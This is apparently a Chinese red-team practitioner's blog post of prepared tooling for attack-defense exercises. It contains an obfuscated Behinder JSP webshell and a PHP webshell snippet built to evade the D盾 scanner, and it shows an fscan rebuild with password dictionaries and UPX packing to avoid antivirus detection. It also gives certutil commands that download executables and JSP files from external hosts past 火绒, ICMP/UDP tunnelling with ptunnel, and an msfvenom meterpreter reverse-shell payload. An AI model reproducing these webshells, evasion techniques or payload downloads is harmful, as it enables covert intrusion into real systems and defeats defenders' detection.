安服仔 » 打点仔 … …
本人翻遍了所有小规模小范围的攻防报告。
你看攻防会场熙熙攘攘,其实在座各位,2/3在互联网冲浪,3/5在外围游荡。
拿权限,要么命令执行,要么文件上传。
在又一次开始前提提你,打点会累会迷茫,会听着循环的背景音乐直到第五天。
你要坚强,热情,自信。
你可以在现场才找工具,你可以现场还在pip install报错,你可以临场囫囵吞枣翻文章。
别人不过是环境搭好了,工具用顺手了,bug记住了,别人在比你更远的起点出发,不过是他们提前花了时间。
你只能在现场额外用自己的时间体力的禀赋和底蕴去到达那些起点,然后再开始出发。
本人害怕现场才遇到这个漏洞步骤脚本工具没找过/没做过/懒得试/懒得写/没能量克服,所以提前在这里准备好。
本人害怕辛苦拿下的权限,因马子被查杀/流量告警,而暴露,所以尽量在这里临时修改别人的工具。
功利得很。
小脚本
批量提取文件夹内IP、链接URI
参考packet-fuzzer
免杀WEBShell
JSP
主要是利用中间件unicode解析的特性,然后加多几个字母u的事情。
暂时只会告可疑,D盾不检出。
冰蝎3马。
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!\uu0063\uu006c\uu0061\uu0073\uu0073\uu0020\uu0055\uu0020\uuu0065\uu0078\uu0074\uuu0065\uu006e\uu0064\uu0073\uu0020\uu0043\uu006c\uu0061\uu0073\uu0073\uu004c\uu006f\uu0061\uu0064\uuu0065\uuu0072\uu007b\uu0055\uu0028\uu0043\uu006c\uu0061\uu0073\uu0073\uu004c\uu006f\uu0061\uu0064\uuu0065\uuu0072\uu0020\uu0063\uu0029\uu007b\uu0073\uu0075\uu0070\uuu0065\uuu0072\uu0028\uu0063\uu0029\uu003b\uu007d\uu0070\uu0075\uu0062\uu006c\uu0069\uu0063\uu0020\uu0043\uu006c\uu0061\uu0073\uu0073\uu0020\uu0067\uu0028\uu0062\uu0079\uu0074\uuu0065\uu0020\uu005b\uu005d\uu0062\uu0029\uu007b\uuu0072\uuu0065\uu0074\uu0075\uuu0072\uu006e\uu0020\uu0073\uu0075\uu0070\uuu0065\uuu0072\uu002e\uu0064\uuu0065\uu0066\uu0069\uu006e\uuu0065\uu0043\uu006c\uu0061\uu0073\uu0073\uu0028\uu0062\uu002c\uu0030\uu002c\uu0062\uu002e\uu006c\uuu0065\uu006e\uu0067\uu0074\uu0068\uu0029\uu003b\uu007d\uu007d%>
<%\uu0069\uu0066\uu0020\uu0028\uuu0072\uuu0065\uu0071\uu0075\uuu0065\uu0073\uu0074\uu002e\uu0067\uuu0065\uu0074\uu004d\uuu0065\uu0074\uu0068\uu006f\uu0064\uu0028\uu0029\uu002e\uuu0065\uu0071\uu0075\uu0061\uu006c\uu0073\uu0028\uu0022\uu0050\uu004f\uu0053\uu0054\uu0022\uu0029\uu0029\uu007b\uu0053\uu0074\uuu0072\uu0069\uu006e\uu0067\uu0020\uu006b\uu003d\uu0022\uuu0065\uu0031\uu0030\uu0061\uu0064\uu0063\uu0033\uu0039\uu0034\uu0039\uu0062\uu0061\uu0035\uu0039\uu0061\uu0062\uu0022\uu003b\uu0073\uuu0065\uu0073\uu0073\uu0069\uu006f\uu006e\uu002e\uu0070\uu0075\uu0074\uu0056\uu0061\uu006c\uu0075\uuu0065\uu0028\uu0022\uu0075\uu0022\uu002c\uu006b\uu0029\uu003b\uu0043\uu0069\uu0070\uu0068\uuu0065\uuu0072\uu0020\uu0063\uu003d\uu0043\uu0069\uu0070\uu0068\uuu0065\uuu0072\uu002e\uu0067\uuu0065\uu0074\uu0049\uu006e\uu0073\uu0074\uu0061\uu006e\uu0063\uuu0065\uu0028\uu0022\uu0041\uu0045\uu0053\uu0022\uu0029\uu003b\uu0063\uu002e\uu0069\uu006e\uu0069\uu0074\uu0028\uu0032\uu002c\uu006e\uuu0065\uu0077\uu0020\uu0053\uuu0065\uu0063\uuu0072\uuu0065\uu0074\uu004b\uuu0065\uu0079\uu0053\uu0070\uuu0065\uu0063\uu0028\uu006b\uu002e\uu0067\uuu0065\uu0074\uu0042\uu0079\uu0074\uuu0065\uu0073\uu0028\uu0029\uu002c\uu0022\uu0041\uu0045\uu0053\uu0022\uu0029\uu0029\uu003b\uu006e\uuu0065\uu0077\uu0020\uu0055\uu0028\uu0074\uu0068\uu0069\uu0073\uu002e\uu0067\uuu0065\uu0074\uu0043\uu006c\uu0061\uu0073\uu0073\uu0028\uu0029\uu002e\uu0067\uuu0065\uu0074\uu0043\uu006c\uu0061\uu0073\uu0073\uu004c\uu006f\uu0061\uu0064\uuu0065\uuu0072\uu0028\uu0029\uu0029\uu002e\uu0067\uu0028\uu0063\uu002e\uu0064\uu006f\uu0046\uu0069\uu006e\uu0061\uu006c\uu0028\uu006e\uuu0065\uu0077\uu0020\uu0073\uu0075\uu006e\uu002e\uu006d\uu0069\uu0073\uu0063\uu002e\uu0042\uu0041\uu0053\uu0045\uu0036\uu0034\uu0044\uuu0065\uu0063\uu006f\uu0064\uuu0065\uuu0072\uu0028\uu0029\uu002e\uu0064\uuu0065\uu0063\uu006f\uu0064\uuu0065\uu0042\uu0075\uu0066\uu0066\uuu0065\uuu0072\uu0028\uuu0072\uuu0065\uu0071\uu0075\uuu0065\uu0073\uu0074\uu002e\uu0067\uuu0065\uu0074\uu0052\uuu0065\uu0061\uu0064\uuu0065\uuu0072\uu0028\uu0029\uu002e\uuu0072\uuu0065\uu0061\uu0064\uu004c\uu0069\uu006e\uuu0065\uu0028\uu0029\uu0029\uu0029\uu0029\uu002e\uu006e\uuu0065\uu0077\uu0049\uu006e\uu0073\uu0074\uu0061\uu006e\uu0063\uuu0065\uu0028\uu0029\uu002e\uuu0065\uu0071\uu0075\uu0061\uu006c\uu0073\uu0028\uu0070\uu0061\uu0067\uuu0065\uu0043\uu006f\uu006e\uu0074\uuu0065\uu0078\uu0074\uu0029\uu003b\uu007d%>
PHP
参考一位师傅的混淆基础,做了一点改变。
D盾离线测试竟然没告警。
冰蝎3马,其中重要的一段eval/assert类方法混淆。
class MOL{ public function __construct($p)
{
$a=null;
$l=null;
assert("/*#`echo helloworld`|W$~Q*/".$l."/*#`echo helloworld`|W$~Q*/".$p.$a.""."/*#`echo helloworld`|W$~Q*/");
}
ASP
冰蝎4默认马,D盾无检出,省事。
虽然未明白传输协议怎么定制,总是报密钥错误。
安卓抓包测试(可选
参见上一篇文章 – 手把手安装X86-Android虚拟机。
KVM跑Android,又少一个打开Windows的理由。
EXP
fastjson
log4j2
thinkphp
shiro
密码口令
外网,最直接的打开暴露面是登陆,最直接的登陆方法是密码。
内网嘛,如果觉得是无人区,爆破最干脆,命中高的字典更爽快。
除了常见的admin/test/root,fuzz手机号1350000000类;公司名英文或者产品名,skynet/skynet;搜集职员的中文名,工号,手机号登陆名。
fscan编译加壳
改动编译加壳
一是为了加密码字典,二是为了避过特征码查杀。
因为相信,这款趁手黑客工具,只是对外攻击,又不是攻击本机,被研究的优先级不高吧。
Go环境搭建
sudo yum install golang #注意版本要高于1.17,Centos7需要手动安装,参见参考链接
go env -w GO111MODULE=on
go env -w GOPROXY=https://goproxy.cn,direct
小改代码,修改远程仓库的地址为本地。网上截的一段代码,还要自己调bug,下次自己写好了。
#encoding=utf-8
import re
import os
import glob
def reset(path,old,new):
filelist = glob.glob(path+"**",recursive=True) # 该文件夹下所有文件(包括文件夹)
for files in filelist: # 遍历所有文件
if os.path.isdir(files):
continue;
if("image" in file):
continue;
alter(files,old_str,new_str)
def alter(file,old_str,new_str):
with open(file,"r") as f1,open("%s.bak"% file,"w") as f2:
print(file)
for line in f1:
if old_str in line:
line = line.replace(old_str,new_str)
f2.write(line)
os.remove(file)
os.rename("%s.bak" % file,file)
#实现函数
reset("/home/jojo/Downloads/fscan/","github.com/shadow1ng/fscan/","fscan/")
然后在common/config.go里加上自己的一些字典。
var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789"}
跨平台编译
#编译linux amd64平台
env GOOS=linux GOARCH=amd64 go build -ldflags="-s -w " -trimpath -o fscan_64 main.go
#编译windows amd64平台
env GOOS=windows GOARCH=amd64 go build -ldflags="-s -w " -trimpath -o fscan_win64.exe main.go
sudo yum install upx -y
加壳
sudo yum install upx -y
upx -6 fscan.exe (压缩体积,有1-9级,测试得,9会被360杀毒云查杀,低一点则不会)
#本人特意clone最新的upx编译使用
sudo yum install g++ gcc ucl ucl-devel perl-Pod-Html
git clone https://github.com/upx/upx.git
cd upx
make all
./src/upx.out -h
撞库
亲测可用,只是不指定模块的话,不会爆破smb、rdp,只爆破ssh,但会有卡顿超时的情况,感觉是某些目标sshd的问题。推荐自己单独爆破smb比较好。
fscan -h 192.168.1.1/24 -m smb -usera zhangwei -pwda 0000,Admin@90000
代理穿透
frp加密
frp编译加壳
命令行下载绕过
火绒
1、
certutil -split -f -urlcache http://aa.allsec.top:9999/dns.exe
cmd /c certutil -split -f -urlcache http://61.144.19.228:10205/a.jsp
2、
copy c:\\windows\system32\certutil.exe c.exe
c -urlcache -split -f http://aa.allsec.top:9999/dns.exe
(未完
隧道测试
不出网
网页,neo-regeorge
前几天值班,收到一些不错的样本,其中就有混淆regeorge的样本,直接收来用,虽然已经标记已知样本了。但感觉未至于EDR查杀。
ptunnel for UDP/DNS/ICMP隧道
ptunnel,看来是经典,05年就停更。
debian接管了的感觉,源码编译依然可用,只是可能有点卡。
ptunnel, ptunnel(8) - Linux man page
编译ptunnel
linnux
git clone https://salsa.debian.org/alteholz/ptunnel.git
cd ptunnel
make
windows
1、下载安装mingw,以获得make能力。
在线GUI方式安装,访问https://osdn.net/projects/mingw/,下载mingw-get-setup.exe,安装,勾选mingw32-base-bin,左上角apply。
然后添加系统变量PATH,C:\MinGW\bin
也可以离线安装,访问
https://sourceforge.net/projects/mingw-w64/files/,选择MinGW-W64 GCC-8.1.0 -> x86_64-win32-sjlj,下载,解压缩,放到C:\MinGW目录,然后添加系统变量PATH,C:\MinGW\bin。从而获得c、c++编译能力
2、测试命令行能用mingw32-make.exe命令,即可。
3、再准备WinPcap library编译库。下载http://www.winpcap.org/install/bin/WpdPack_4_0_2.zip,解压,放到c:\Program Files\WpdPack\目录。
4、编译
#源代码里面预定义重复地写了两遍,导致报错
#ptunnel.c的362-379行需要注释掉,才能编译通过。
#编译,ok
mingw32-make.exe ptunnel.exe
服务端
sudo ./ptunnel -udp
客户端
意思就是客户端监听8000端口,并转发至服务端的8001端口
sudo ./ptunnel -p 114.115.116.117 -lp 8000 -da 114.115.116.117 -dp 8001 -c eth0 -udp
msf生成反向的shell
#反向地址指向客户端的8000端口
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter_reverse_https LHOST=127.0.0.1 LPORT=8000 -f elf -o msfshell
#运行,上线。
参考链接
How To Build Go Executables for Multiple Platforms on Ubuntu 16.04